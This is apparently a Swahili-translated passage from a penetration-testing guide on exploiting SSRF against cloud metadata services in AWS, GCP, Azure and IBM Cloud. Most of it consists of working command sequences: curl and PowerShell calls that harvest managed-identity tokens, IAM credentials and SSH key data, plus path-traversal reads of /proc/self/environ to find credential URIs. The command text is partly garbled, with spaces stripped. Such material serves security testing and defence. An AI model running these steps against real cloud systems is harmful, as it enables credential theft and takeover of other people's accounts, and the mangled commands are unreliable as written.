The metadata endpoint inaweza kufikiwa kutoka ndani ya mashine yoyote ya EC2 na inatoa taarifa za kuvutia kuhusu hiyo. Inapatikana katika url: http://169.254.169.254 (taarifa kuhusu metadata hapa).
Kuna toleo 2 la metadata endpoint. Toleo la kwanza linaruhusu kufikia endpoint kupitia GET requests (hivyo SSRF yoyote inaweza kuitumia). Kwa toleo la 2, IMDSv2, unahitaji kuomba token kwa kutuma PUT request na HTTP header na kisha tumia token hiyo kufikia metadata kwa HTTP header nyingine (hivyo ni ngumu zaidi kuitumia na SSRF).
Kumbuka kwamba ikiwa EC2 instance inatekeleza IMDSv2, kulingana na nyaraka, jibu la PUT request litakuwa na hop limit ya 1, na kufanya iwe haiwezekani kufikia metadata ya EC2 kutoka kwenye kontena ndani ya EC2 instance.
Zaidi ya hayo, IMDSv2 pia itazuia maombi ya kupata token ambayo yanajumuisha X-Forwarded-For header. Hii ni ili kuzuia proxies za nyuma zilizopangwa vibaya zisifike.
Unaweza kupata taarifa kuhusu metadata endpoints katika nyaraka. Katika script ifuatayo taarifa za kuvutia zinapatikana kutoka kwake:
Notice the aws_session_token, hii ni muhimu kwa ajili ya profaili kufanya kazi.
PACU inaweza kutumika na akidi zilizogunduliwa ili kujua haki zako na kujaribu kupandisha haki
SSRF katika AWS ECS (Huduma ya Kontena) credentials
ECS, ni kundi la kimantiki la EC2 instances ambazo unaweza kuendesha programu bila ya kuhitaji kupanua miundombinu yako ya usimamizi wa kundi kwa sababu ECS inasimamia hiyo kwa ajili yako. Ikiwa utaweza kuathiri huduma inayofanya kazi katika ECS, mipangilio ya metadata inabadilika.
Ikiwa unapata http://169.254.170.2/v2/credentials/<GUID> utaona akidi za mashine ya ECS. Lakini kwanza unahitaji kupata <GUID>. Ili kupata <GUID> unahitaji kusoma environ variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI ndani ya mashine.
Unaweza kuwa na uwezo wa kuisoma kwa kutumia Path Traversal hadi file:///proc/self/environ
Anwani ya http iliyotajwa inapaswa kukupa AccessKey, SecretKey na token.
Kumbuka kwamba katika mambo fulani utaweza kufikia EC2 metadata instance kutoka kwenye kontena (angalia mipaka ya TTL ya IMDSv2 iliyotajwa hapo awali). Katika hali hizi kutoka kwenye kontena unaweza kufikia jukumu la IAM la kontena na jukumu la IAM la EC2.
SSRF kwa AWS Lambda
Katika kesi hii akili zinahifadhiwa katika mabadiliko ya mazingira. Hivyo, ili kuzipata unahitaji kufikia kitu kama file:///proc/self/environ.
Jina la mabadiliko ya mazingira ya kuvutia ni:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Zaidi ya hayo, pamoja na akili za IAM, kazi za Lambda pia zina data ya tukio ambayo inapitishwa kwa kazi wakati inapoanzishwa. Data hii inapatikana kwa kazi kupitia interface ya runtime na inaweza kuwa na habarinyeti (kama ndani ya stageVariables). Tofauti na akili za IAM, data hii inapatikana kupitia SSRF ya kawaida kwenye http://localhost:9001/2018-06-01/runtime/invocation/next.
Kumbuka kwamba akili za lambda ziko ndani ya mabadiliko ya mazingira. Hivyo ikiwa stack trace ya msimbo wa lambda inachapisha mabadiliko ya mazingira, inawezekana kuzipeleka nje kwa kuchochea kosa katika programu.
Ili kutumia tokeni ya akaunti ya huduma iliyovuja unaweza tu kufanya:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
Azure VM inaweza kuwa na utambulisho 1 wa mfumo uliopewa usimamizi na utambulisho kadhaa wa mtumiaji uliopewa usimamizi. Hii inamaanisha kwamba unaweza kujifanya kama utambulisho wote wa usimamizi ulioambatanishwa na VM.
Kwa kawaida, mwisho wa metadata utatumia MI iliyopewa mfumo (ikiwa ipo).
Kwa bahati mbaya, sikuweza kupata mwisho wowote wa metadata unaoonyesha MIs zote ambazo VM inaambatanishwa nazo.
Hivyo, ili kupata MIs zote zilizounganishwa unaweza kufanya:
Pata utambulisho ulioambatanishwa na az cli (ikiwa tayari umepata udhibiti wa kiongozi katika Azure tenant)
Pata vitambulisho vilivyounganishwa kwa kutumia MI iliyounganishwa ya kawaida katika metadata:
export API_VERSION="2021-12-13"# Get token from default MIexport TOKEN=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \|jq-r'.access_token')# Get needed detailsexport SUBSCRIPTION_ID=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.subscriptionId')export RESOURCE_GROUP=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.resourceGroupName')export VM_NAME=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.name')# Try to get attached MIscurl-s-H"Authorization: Bearer $TOKEN" \"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION"|jq
Pata yote ya utambulisho wa usimamizi ulioainishwa katika mpangilio na shinikiza nguvu kuona kama yoyote yao imeunganishwa na VM:
azidentitylist
Katika maombi ya token, tumia mojawapo ya vigezo object_id, client_id au msi_res_id kuashiria utambulisho wa kusimamiwa unayotaka kutumia (docs). Ikiwa hakuna, MI ya kawaida itatumika.
Kutoka kwenye env unaweza kupata thamani za IDENTITY_HEADERnaIDENTITY_ENDPOINT. Hizo unaweza kuzitumia kukusanya tokeni ya kuzungumza na seva ya metadata.
Wakati mwingi, unataka tokeni kwa moja ya rasilimali hizi:
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount-AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
Kumbuka kwamba katika IBM kwa kawaida metadata haijawashwa, hivyo inawezekana usiweze kuipata hata kama uko ndani ya VM ya IBM cloud
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl-s-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token"-XGET"http://169.254.169.254/metadata/v1/instance?version=2022-03-01"|jq# Get SSH keys infocurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/keys?version=2022-03-01"|jq# Get SSH keys fingerprints & user datacurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01"|jq# Get placement groupscurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01"|jq# Get IAM credentialscurl-s-XPOST-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"|jq
Dokumentasiyo ya huduma za metadata za majukwaa mbalimbali imeelezwa hapa chini, ikionyesha mbinu ambazo kupitia hizo taarifa za usanidi na wakati wa kutekeleza kwa mifano zinaweza kupatikana. Kila jukwaa linatoa maeneo ya kipekee ya kufikia huduma zake za metadata.
